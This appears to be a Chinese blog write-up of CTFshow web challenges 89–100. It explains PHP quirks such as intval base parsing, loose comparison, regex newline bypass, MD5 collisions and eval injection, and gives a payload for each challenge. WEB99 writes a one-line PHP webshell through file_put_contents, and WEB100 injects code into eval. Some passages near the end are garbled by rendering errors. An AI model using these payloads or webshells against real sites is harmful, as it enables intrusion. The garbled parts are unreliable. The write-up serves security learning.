CTFSHOW WEB89-100 PHP特性 详解

CTFSHOW PHP特性

前置:

PHP 类型比较:虽然 PHP 是弱类型语言,但也需要明白变量类型及它们的意义,因为我们经常需要对 PHP 变量进行比较,包含松散和严格比较。

​ 松散比较:使用两个等号 == 比较,只比较值,不比较类型。
​ 严格比较:用三个等号 === 比较,除了比较值,也比较类型。

WEB89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
PAYLOAD:?num[]			//构造数组使其返回值为整数

PHP intval() 函数:函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。

​ 如果成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

PHP preg_match() 函数:正则匹配,返回pattern的匹配次数。

WEB90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
PAYLOAD:?num=010574		//0开头,8进制绕过
		?num=0x117c		//0x开头,16进制绕过

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

WEB91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
PAYLOAD:?cmd=%0aphp			//要求a的值在im修饰词修饰时要包含'php',但在i修饰符修饰时不包含'php'。换行绕过,url中的换行是%0a

正则匹配表达式的修饰符:

``
i
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = “abc\nabc”;
p r e g = " / a b c preg = "/^abc preg="/abc/m";
preg_match($preg, s t r , str, str,matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = “abggab\nacbs”;
p r e g = " / b . / s " ; p r e g m a t c h a l l ( preg = "/b./s"; preg_match_all( preg="/b./s";pregmatchall(preg, s t r , str, str,matchs);
这样匹配到的有三个 bg b\n bs

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行;

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
``

URL编码:%+ascii码

WEB92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}


PAYLOAD:?num=0x117c				//同[WEB90](#WEB90)
		?num=010574				//同[WEB90](#WEB90)
		?num=4476.0				//php弱类型比较

WEB93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
PAYLOAD:?num=010574			//过滤了字母,不能用0x16进制绕过
		?num=4476.0			//php弱类型比较

WEB94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
PAYLOAD:?num=+010574		//加了strpos,要求num的第一个字符不能为0,不能直接用8进制,加了一个+绕过
?num=4476.0

PHP strpos() 函数:strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。

WEB95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
PAYLOAD:?num=+010574		//正则把.匹配掉了,不能用4476.0了

WEB96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}
PAYLOAD:./flag.php		
//题目会显示u文件的代码。要求u->flag.php但是u不能为flag.php。用./绕过,./表示当前目录
/var/www/html/flag.php		
///var/www/html是常见的网站根目录,准确的说是apache的默认根目录

WEB97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
PAYLOAD:a[]=1&b[]=2(POST方式)		//要求a与b弱类型比较不相同,但是MD5强类型比较相同。利用弱类型比较的特性,直接数组绕过。

MD5比较:

PHP md5() 函数 :md5()函数计算的是一个字符串的哈希值,对于数组则返回null

MD5弱类型比较:

if( ($a!==$b) && (md5($a)==md5($b)) ){ echo $flag; }

1.0e绕过

弱比较会把0exxxx当做科学计数法,不管后面的值为任何东西,0的任何次幂都为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。

  • 以下是一些字符串md5值以0e开头
    QNKCDZO 240610708 s878926199a s155964671a s21587387a
2.数组绕过

利用php MD5()函数的特性绕过

MD5强类型绕过

1、找两个MD5真正值相同的

以下三个md5相同:

``

<?php $s1 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"; $s2 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab"; $s3 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"; var_dump(md5(urldecode($s1))); var_dump(md5(urldecode($s2))); var_dump(md5(urldecode($s3))); `` #### 2.符合条件的可以数组绕过

WEB98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
PAYLOAD:
GET:?a=1 POST:HTTP_FLAG=flag

php三元运算符

与c++等语言相同,形如:条件a?结果b:结果c。

与下式相同:

``
if (条件a)
{

​ 结果b

}else{

​ 结果c

}
``

php传引用

与c++等语言相同。

代码解析

$_GET?$_GET=&$_POST:'flag'; ==相========当========于==> if($_GET) { $_GET=&$_POST; //GET重定向到POST,无论GET什么,最后GET的值都为POST传递的值 }else{ "flag"; } (----------后面一直重定向'flag'-----------) (-------把你的GET值重定向到奇怪的地方-------) ========================================> (---------------最后一句-----------------) highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); if($_GET['HTTP_FLAG']=='flag') { highlight_file($flag); //如果GET到的HTTP_FLAG=flag,就打印$flag文件,也就是flag }else{ highlight_file(__FILE__); //否则打印该文件(无变化) }

中间语句是flag就被COOKIE覆盖,然后被SERVER覆盖,不是flag被赋值flag然后条件成立也是被SERVER覆盖,没什么意义。

总之,既然GET的返回地址被重定向到POST,那根据最后一句判断,我们只要在有GET值的同时,POST一个HTTP_FLAG=flag,即可打印flag

WEB99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>
PAYLOAD:?n=1.php		POST:content=<?php eval($_POST["1"]);?>

array_push:array_push() 函数向数组尾部插入一个或多个元素。array_push(array,value1,value2…)

rand:rand() 函数生成随机整数。如果您想要一个介于 10 和 100 之间(包括 10 和 100)的随机整数,请使用 rand (10,100)。

array_in:in_array() 函数搜索数组中是否存在指定的值。

file_put_contents() :向文件中写入内容。如果文件不存在,在本文件夹内新建文件并写入内容。

题解:

能向文件内写入内容的函数都是好函数。 By.博尔德

第四个函数很明显是危险函数,我们可以利用从而getshell。为了利用它,我们要GET一个n,并使n 得到的值在allow数组内存在。

分析代码:

for ($i=36; $i < 0x36d; $i++) { //(0x36d)=(877) array_push($allow, rand(1,$i)); //i从36-877,循环执行array_push函数,向数组内写入随机数。 } //php数组有一个特性,当写入内容相同时,会将其覆盖,数组长度不变

这里我们发现,每次array_push的时候,随机数中都有1,它执行了八百来次,所以数组内写入1的可能性是很大的。

if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }

这段没什么好说的,注意in_array的判断是弱类型判断,所以写入1的时候,利用弱类型判断,1和1.php是相同的。

PAYLOAD:?n=1.php POST:content=<?php eval($_POST["1"]);?>

构造这段PAYLOAD之后,我们执行的是

file_put_contents(1.php,"<?php eval($_POST["1"]);?>"); //向1.php里写入一句话木马

然后,用蚁剑连接即可。flag在目录下的什么36d.php里。

image-20220614201909454

WEB100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
PAYLOAD:?v1=21&v2=var_dump($ctfshow)/*&v3=*/;

is_numeric():函数用于检测变量是否为数字或数字字符串。

php中OR与|| AND与&&的区别总结:赋值符号的优先级要高于andor

代码解析:

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);		
//因为赋值符号的优先级要高于`and`和`or`,所以v0的值只与is_numeric($v1)有关,也就是只要v1为数字即可。
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}											
//几乎没有过滤,而且对于v3不仅没有过滤,还要求你有斜杠和分号,就当是提示了吧。直接构造语句执行
PAYLOAD:?v1=21&v2=var_dump($ctfshow)/*&v3=*/;
//构造之后的语句为:eval("var_dump($ctfshow)/*('ctfshow')*/;");,没什么好说的。
c($v1) and is_numeric($v2) and is_numeric($v3);		

//因为赋值符号的优先级要高于andor,所以v0的值只与is_numeric($v1)有关,也就是只要v1为数字即可。

if($v0){
if(!preg_match(“/;/”, $v2)){
if(preg_match(“/;/”, KaTeX parse error: Expected '}', got 'EOF' at end of input: … eval("v2(‘ctfshow’)$v3");
}
}

}
//几乎没有过滤,而且对于v3不仅没有过滤,还要求你有斜杠和分号,就当是提示了吧。直接构造语句执行

PAYLOAD:?v1=21&v2=var_dump($ctfshow)/&v3=/;

//构造之后的语句为:eval(“var_dump($ctfshow)/(‘ctfshow’)/;”);,没什么好说的。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值